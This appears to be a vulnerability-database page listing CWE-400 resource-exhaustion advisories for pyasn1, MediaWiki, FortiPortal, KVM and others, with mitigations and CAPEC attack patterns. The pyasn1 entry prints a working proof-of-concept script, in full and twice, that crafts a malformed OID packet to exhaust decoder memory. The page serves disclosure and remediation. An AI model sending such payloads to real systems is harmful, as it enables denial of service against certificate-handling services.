Authenticated denial of service

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-27507"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-26T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Authenticated denial of service",
  "id": "GHSA-63v9-8f2v-3mqw",
  "modified": "2023-02-01T21:30:22Z",
  "published": "2023-01-26T21:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-27507"
    },
    {
      "type": "WEB",
      "url": "https://support.citrix.com/article/CTX457048/citrix-adc-and-citrix-gateway-security-bulletin-for-cve202227507-and-cve202227508"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-63VM-454H-VHHQ

Vulnerability from github – Published: 2026-01-16 19:19 – Updated: 2026-07-21 15:23
VLAI
Summary
pyasn1 has a DoS vulnerability in decoder
Details

Summary

After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

Details

The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

PoC

For the DoS:

import pyasn1.codec.ber.decoder as decoder
import pyasn1.type.univ as univ
import sys
import resource

# Deliberately set memory limit to display PoC
try:
    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
    print("[*] Memory limit set to 100MB")
except:
    print("[-] Could not set memory limit")

# Test with different payload sizes to find the DoS threshold
payload_size_mb = int(sys.argv[1])

print(f"[*] Testing with {payload_size_mb}MB payload...")

payload_size = payload_size_mb * 1024 * 1024
# Create payload with continuation octets
# Each 0x81 byte indicates continuation, causing bit shifting in decoder
payload = b'\x81' * payload_size + b'\x00'
length = len(payload)

# DER length encoding (supports up to 4GB)
if length < 128:
    length_bytes = bytes([length])
elif length < 256:
    length_bytes = b'\x81' + length.to_bytes(1, 'big')
elif length < 256**2:
    length_bytes = b'\x82' + length.to_bytes(2, 'big')
elif length < 256**3:
    length_bytes = b'\x83' + length.to_bytes(3, 'big')
else:
    # 4 bytes can handle up to 4GB
    length_bytes = b'\x84' + length.to_bytes(4, 'big')

# Use OID (0x06) for more aggressive parsing
malicious_packet = b'\x06' + length_bytes + payload

print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")

try:
    print("[*] Decoding (this may take time or exhaust memory)...")
    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())

    print(f'[+] Decoded successfully')
    print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')

    # Try to convert to string
    print('[*] Converting to string...')
    try:
        str_result = str(result[0])
        print(f'[+] String succeeded: {len(str_result)} chars')
        if len(str_result) > 10000:
            print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
    except MemoryError:
        print(f'[-] MemoryError during string conversion!')
    except Exception as e:
        print(f'[-] {type(e).__name__} during string conversion')

except MemoryError:
    print('[-] MemoryError: Out of memory!')
except Exception as e:
    print(f'[-] Error: {type(e).__name__}: {e}')


print("\n[*] Test completed")

Screenshots with the results:

DoS

Screenshot_20251219_160840

Screenshot_20251219_152815

Leak analysis

A potential heap leak was investigated but came back clean:

[*] Creating 1000KB payload...
[*] Decoding with pyasn1...
[*] Materializing to string...
[+] Decoded 2157784 characters
[+] Binary representation: 896001 bytes
[+] Dumped to heap_dump.bin

[*] First 64 bytes (hex):
  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081

[*] First 64 bytes (ASCII/hex dump):
  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..
  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....
  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... 
  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.

[*] Digit distribution analysis:
  '0':  10.1%
  '1':   9.9%
  '2':  10.0%
  '3':   9.9%
  '4':   9.9%
  '5':  10.0%
  '6':  10.0%
  '7':  10.0%
  '8':   9.9%
  '9':  10.1%

Scenario

  1. An attacker creates a malicious X.509 certificate.
  2. The application validates certificates.
  3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

Impact

This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.

Recommendation

Add a limit to the allowed bytes in the decoder.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyasn1"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.6.1"
            },
            {
              "fixed": "0.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.6.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23490"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-16T19:19:25Z",
    "nvd_published_at": "2026-01-16T19:16:19Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId \u003c\u003c 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b\u0027\\x81\u0027 * payload_size + b\u0027\\x00\u0027\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length \u003c 128:\n    length_bytes = bytes([length])\nelif length \u003c 256:\n    length_bytes = b\u0027\\x81\u0027 + length.to_bytes(1, \u0027big\u0027)\nelif length \u003c 256**2:\n    length_bytes = b\u0027\\x82\u0027 + length.to_bytes(2, \u0027big\u0027)\nelif length \u003c 256**3:\n    length_bytes = b\u0027\\x83\u0027 + length.to_bytes(3, \u0027big\u0027)\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b\u0027\\x84\u0027 + length.to_bytes(4, \u0027big\u0027)\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b\u0027\\x06\u0027 + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f\u0027[+] Decoded successfully\u0027)\n    print(f\u0027[!] Object size: {sys.getsizeof(result[0])} bytes\u0027)\n\n    # Try to convert to string\n    print(\u0027[*] Converting to string...\u0027)\n    try:\n        str_result = str(result[0])\n        print(f\u0027[+] String succeeded: {len(str_result)} chars\u0027)\n        if len(str_result) \u003e 10000:\n            print(f\u0027[!] MEMORY EXPLOSION: {len(str_result)} character string!\u0027)\n    except MemoryError:\n        print(f\u0027[-] MemoryError during string conversion!\u0027)\n    except Exception as e:\n        print(f\u0027[-] {type(e).__name__} during string conversion\u0027)\n\nexcept MemoryError:\n    print(\u0027[-] MemoryError: Out of memory!\u0027)\nexcept Exception as e:\n    print(f\u0027[-] Error: {type(e).__name__}: {e}\u0027)\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\u003cimg width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" /\u003e\n\n\u003cimg width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" /\u003e\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  \u00270\u0027:  10.1%\n  \u00271\u0027:   9.9%\n  \u00272\u0027:  10.0%\n  \u00273\u0027:   9.9%\n  \u00274\u0027:   9.9%\n  \u00275\u0027:  10.0%\n  \u00276\u0027:  10.0%\n  \u00277\u0027:  10.0%\n  \u00278\u0027:   9.9%\n  \u00279\u0027:  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.",
  "id": "GHSA-63vm-454h-vhhq",
  "modified": "2026-07-21T15:23:12Z",
  "published": "2026-01-16T19:19:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23490"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:4148"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:4147"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:4146"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:4145"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:4144"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:4143"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:4142"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:4141"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:4140"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:4139"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:4138"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:39894"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:3959"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:3958"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:37275"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:41928"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:42644"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:4943"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:5606"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-23490"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430472"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-63vm-454h-vhhq"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyasn1/pyasn1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/pyasn1"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:3359"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:2300"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:2299"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:2221"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:19712"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:1906"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:1905"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:1904"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:1903"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:17611"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:17595"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:17446"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:14020"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:13553"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:13545"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:13512"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:13508"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:3354"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:30088"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:28042"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:2758"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:2712"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:24977"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:24866"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:2486"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:2483"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:2460"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:2453"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:24483"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:24476"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:2309"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:2303"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:2302"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyasn1 has a DoS vulnerability in decoder"
}

GHSA-6438-3865-MCG8

Vulnerability from github – Published: 2022-01-11 00:01 – Updated: 2022-01-14 00:02
VLAI
Details

An issue was discovered in MediaWiki before 1.35.5, 1.36.x before 1.36.3, and 1.37.x before 1.37.1. A denial of service (resource consumption) can be accomplished by searching for a very long key in a Language Name Search.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-46149"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-10T14:11:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in MediaWiki before 1.35.5, 1.36.x before 1.36.3, and 1.37.x before 1.37.1. A denial of service (resource consumption) can be accomplished by searching for a very long key in a Language Name Search.",
  "id": "GHSA-6438-3865-mcg8",
  "modified": "2022-01-14T00:02:35Z",
  "published": "2022-01-11T00:01:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-46149"
    },
    {
      "type": "WEB",
      "url": "https://gerrit.wikimedia.org/r/q/Ide32704cca578b9aecbce34bdcc0ac25c2a09a4d"
    },
    {
      "type": "WEB",
      "url": "https://phabricator.wikimedia.org/T293749"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-6439-MGQ7-859H

Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2022-05-24 19:19
VLAI
Details

Multiple uncontrolled resource consumption vulnerabilities in the web interface of FortiPortal before 6.0.6 may allow a single low-privileged user to induce a denial of service via multiple HTTP requests.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-32595"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-02T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple uncontrolled resource consumption vulnerabilities in the web interface of FortiPortal before 6.0.6 may allow a single low-privileged user to induce a denial of service via multiple HTTP requests.",
  "id": "GHSA-6439-mgq7-859h",
  "modified": "2022-05-24T19:19:25Z",
  "published": "2022-05-24T19:19:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32595"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.com/advisory/FG-IR-21-096"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-647R-22PP-RPP3

Vulnerability from github – Published: 2022-05-13 01:23 – Updated: 2022-05-13 01:23
VLAI
Details

arch/x86/kvm/vmx.c in the KVM subsystem in the Linux kernel before 3.17.2 on Intel processors does not ensure that the value in the CR4 control register remains the same after a VM entry, which allows host OS users to kill arbitrary processes or cause a denial of service (system disruption) by leveraging /dev/kvm access, as demonstrated by PR_SET_TSC prctl calls within a modified copy of QEMU.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2014-3690"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-11-10T11:55:00Z",
    "severity": "MODERATE"
  },
  "details": "arch/x86/kvm/vmx.c in the KVM subsystem in the Linux kernel before 3.17.2 on Intel processors does not ensure that the value in the CR4 control register remains the same after a VM entry, which allows host OS users to kill arbitrary processes or cause a denial of service (system disruption) by leveraging /dev/kvm access, as demonstrated by PR_SET_TSC prctl calls within a modified copy of QEMU.",
  "id": "GHSA-647r-22pp-rpp3",
  "modified": "2022-05-13T01:23:39Z",
  "published": "2022-05-13T01:23:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-3690"
    },
    {
      "type": "WEB",
      "url": "https://github.com/torvalds/linux/commit/d974baa398f34393db76be45f7d4d04fbdbb4a0a"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1153322"
    },
    {
      "type": "WEB",
      "url": "http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git%3Ba=commit%3Bh=d974baa398f34393db76be45f7d4d04fbdbb4a0a"
    },
    {
      "type": "WEB",
      "url": "http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=d974baa398f34393db76be45f7d4d04fbdbb4a0a"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2015-01/msg00035.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2015-03/msg00010.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2015-03/msg00025.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2015-04/msg00015.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2015-0290.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2015-0782.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2015-0864.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/60174"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2014/dsa-3060"
    },
    {
      "type": "WEB",
      "url": "http://www.kernel.org/pub/linux/kernel/v3.x/ChangeLog-3.17.2"
    },
    {
      "type": "WEB",
      "url": "http://www.mandriva.com/security/advisories?name=MDVSA-2015:058"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2014/10/21/4"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2014/10/29/7"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/70691"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-2417-1"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-2418-1"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-2419-1"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-2420-1"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-2421-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-647R-72HF-4VMH

Vulnerability from github – Published: 2026-06-03 00:30 – Updated: 2026-07-10 17:16
VLAI
Summary
Code Index MCP is vulnerable to Uncontrolled Resource Consumption
Details

A weakness has been identified in johnhuang316 code-index-mcp up to 2.14.0. Affected is the function is_safe_regex_pattern of the component search_code_advanced. Executing a manipulation of the argument regex can lead to inefficient regular expression complexity. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks. Upgrading to version 2.14.1 is able to address this issue. This patch is called 25bc02fac74051ddae15ce79e952f00211b1ea6b. Upgrading the affected component is recommended.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "code-index-mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.14.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-10692"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T17:16:29Z",
    "nvd_published_at": "2026-06-03T00:16:31Z",
    "severity": "LOW"
  },
  "details": "A weakness has been identified in johnhuang316 code-index-mcp up to 2.14.0. Affected is the function is_safe_regex_pattern of the component search_code_advanced. Executing a manipulation of the argument regex can lead to inefficient regular expression complexity. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks. Upgrading to version 2.14.1 is able to address this issue. This patch is called 25bc02fac74051ddae15ce79e952f00211b1ea6b. Upgrading the affected component is recommended.",
  "id": "GHSA-647r-72hf-4vmh",
  "modified": "2026-07-10T17:16:29Z",
  "published": "2026-06-03T00:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10692"
    },
    {
      "type": "WEB",
      "url": "https://github.com/johnhuang316/code-index-mcp/issues/84"
    },
    {
      "type": "WEB",
      "url": "https://github.com/johnhuang316/code-index-mcp/commit/25bc02fac74051ddae15ce79e952f00211b1ea6b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/johnhuang316/code-index-mcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/johnhuang316/code-index-mcp/releases/tag/v2.14.1"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-10692"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/830786"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/367961"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/367961/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Code Index MCP is vulnerable to Uncontrolled Resource Consumption"
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list